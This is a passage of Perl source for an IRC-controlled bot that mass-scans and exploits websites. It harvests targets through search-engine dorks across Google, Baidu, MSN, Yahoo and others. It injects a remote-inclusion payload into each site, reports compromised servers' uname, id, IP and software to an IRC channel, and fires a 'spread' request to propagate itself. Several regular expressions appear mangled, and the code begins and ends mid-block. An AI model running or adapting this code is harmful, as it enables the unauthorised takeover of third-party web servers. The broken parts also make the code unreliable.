my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Baidu");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @grulist = &gru($dork);
push( my @tot, @grulist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Google RU 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google RU Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1GOOGLE RU");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1GOOGLE RU");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
sub display() {
if ( $#_ == '1' ) {
my $dsp = $_[0];
print $dsp "$_[1]\n";
}
else {
print $dsp "$_[0]\n";
}
}
sub os() {
my $site = $_[0];
my $Res = query($site);
while ( $Res =~ m/
uname -a:(.+?)\
/g ) {
$un = $1;
}
while ( $Res =~ m/
uptime:(.+?)\
/g ) {
$up = $1;
}
while ( $Res =~ m/
id:(.+?)\
/g ) {
$id1 = $1;
}
while ( $Res =~ m/
pwd:(.+?)\
/g ) {
$pwd1 = $1;
}
while ( $Res =~ m/
php:(.+?)\
/g ) {
$php1 = $1;
}
while ( $Res =~ m/
software:(.+?)\
/g ) {
$sof1 = $1;
}
while ( $Res =~ m/
server-ip:(.+?)\
/g ) {
$ip1 = $1;
}
while ( $Res =~ m/
server-name:(.+?)\
/g ) {
$name1 = $1;
}
while ( $Res =~ m/
os:(.+?)\
/g ) {
$os = $1;
}
while ( $Res =~ m/
free:(.+?)\
/g ) {
$free = $1;
}
while ( $Res =~ m/
used:(.+?)\
/g ) {
$used = $1;
}
while ( $Res =~ m/
total:(.+?)\
/g ) {
$all = $1;
}
}
sub googlet {
my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","pt","it","co.uk","es");
my @country = ("AT","AU","BR","tw","jp","pl","ar","info","biz","cz","dk","mx","sk","pe","ee","fi","pt","se","es");
my @lang = ("en","es","de","nl","ro","it","be","fo","sv","fr","el","pt");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $i (@dominios){
my @lista = google($i,$key,$lang[$c],$country[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}
sub google(){
my @lst;
my $i=$_[0];
my $key=$_[1];
my $lang= $_[2];
my $country =$_[3];
for($b=0;$b<=5000;$b+=100){
my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub alltheweb() {
my @lst;
my $key = $_[0];
my $i = 0;
my $pg = 0;
for ( $i = 0 ; $i <= 1000 ; $i += 100 ) {
my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res = query($all);
while ( $Res =~ m/http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}
sub altavistait() {
my @lst;
my $key = $_[0];
for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
my $AlT = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res = query($AlT);
while ( $Res =~ m/(.+?)\//g ) {
if ( $1 !~ /altavista/ ) {
my $k = $1;
$k =~ s//g;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
if ( $Res =~ /target=\"_self\">Succ/ ) { }
else { return @lst; }
}
return @lst;
}
sub uolsub() {
my @lst;
my $key = $_[0];
for ( $b = 0 ; $b <= 1000 ; $b += 10 ) {
my $UoL = ("http://busca.uol.com.br/www/index.html?ref=homeuol&ad=on&y=5&q=i".key($key)."&x=6&start=".$b);
my $Res = query($UoL);
while ( $Res =~ m/\"]*)/g ) {
my $k = $1;
if ( $k !~ /busca|uol|yahoo/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
sub msn() {
my @lst;
my $key = $_[0];
for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
my $MsN = ("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res = query($MsN);
while ( $Res =~ m/\"]*)\//g ) {
if ( $1 !~ /msn|live/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
sub msn3(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
if ($Res =~ /nextPage disabled/)
{return @lst;}
}
return @lst;
}
sub yahoo() {
my @lst;
my $key = $_[0];
my $num = 100;
my $max = 1000;
for($b=0;$b < 1000; $start += 100){
my $yahoo = ("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".key($key)."&results=".$num."&start=".$b);
my $Res = query($yahoo);
while ( $Res =~ m/http:\/\/(.+?)\<\/Url>/g){
if ( $1 !~ /yahoo/ ) {
my $k = "$1/";
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}
sub guk(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.co.uk/search?hl=gb&q=".key($key)."&num=100&&hl=en&cr=countryUK|countryGB&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub gde(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.de/search?hl=gb&q=".key($key)."&num=100&&hl=en&cr=countryDE|countryDE&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub gnl(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.nl/search?hl=nl&q=".key($key)."&num=100&&hl=en&cr=countryNL|countryNL&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub gru(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.ru/search?hl=ru&q=".key($key)."&num=100&&hl=en&cr=countryRU|countryRU&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub git(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&&hl=en&cr=countryIT|countryIT&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub gat(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.at/search?hl=at&q=".key($key)."&num=100&&hl=en&cr=countryAT|countryAT&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub ges(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.es/search?hl=es&q=".key($key)."&num=100&&hl=en&cr=countryES|countryES&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub baidu(){
my @lst;
my $key = $_[0];
my $pg = 0;
for($i=0; $i<=1000; $i+=10){
my $lib=("http://www.baidu.com/s?lm=0&si=&rn=10&ie=gb2312&ct=0&wd=".key($key)."&pn=".$start."&ver=0&cl=3");
my $Res=query($lib);
while($Res =~ m/href=\"http:\/\/(.*?)\"/ig){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub msn2() {
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.ro/search?hl=ro&q=".key($key)."&num=100&&hl=en&cr=countryRO|countryRO&=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub fireball(){
my $key=$_[0];
my $inizio=1;
my $pagine=100;
my @lst;
my $av=0;
while($inizio <= $pagine){
my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_web&enc=utf-8";
my $Res=query($fireball);
while ($Res=~ m/new(
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp"
) or return;
print $sock
"GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}
sub get_link() {
my $file_print = $_[1];
my $link= $_[0];
my $host= $_[0];
my $host_dir = $_[0];
my @links;
$host_dir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host_dir = &end($host_dir);
$host = &end($host);
$link = &end($host);
push( @links, $link, $host, $host_dir );
open( $file, '>>', $file_print );
print $file "$link\n$host_dir\n$host\n";
close($file);
return @links;
}
sub unici {
my @unici = ();
my %visti = ();
foreach my $elemento (@_) {
$elemento =~ s/\/+/\//g;
next if $visti{$elemento}++;
push @unici, $elemento;
}
return @unici;
}
}
}